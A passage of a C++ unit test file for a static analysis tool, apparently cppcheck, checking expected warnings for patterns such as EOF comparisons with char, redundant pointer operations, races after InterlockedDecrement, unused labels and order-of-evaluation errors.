(FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned 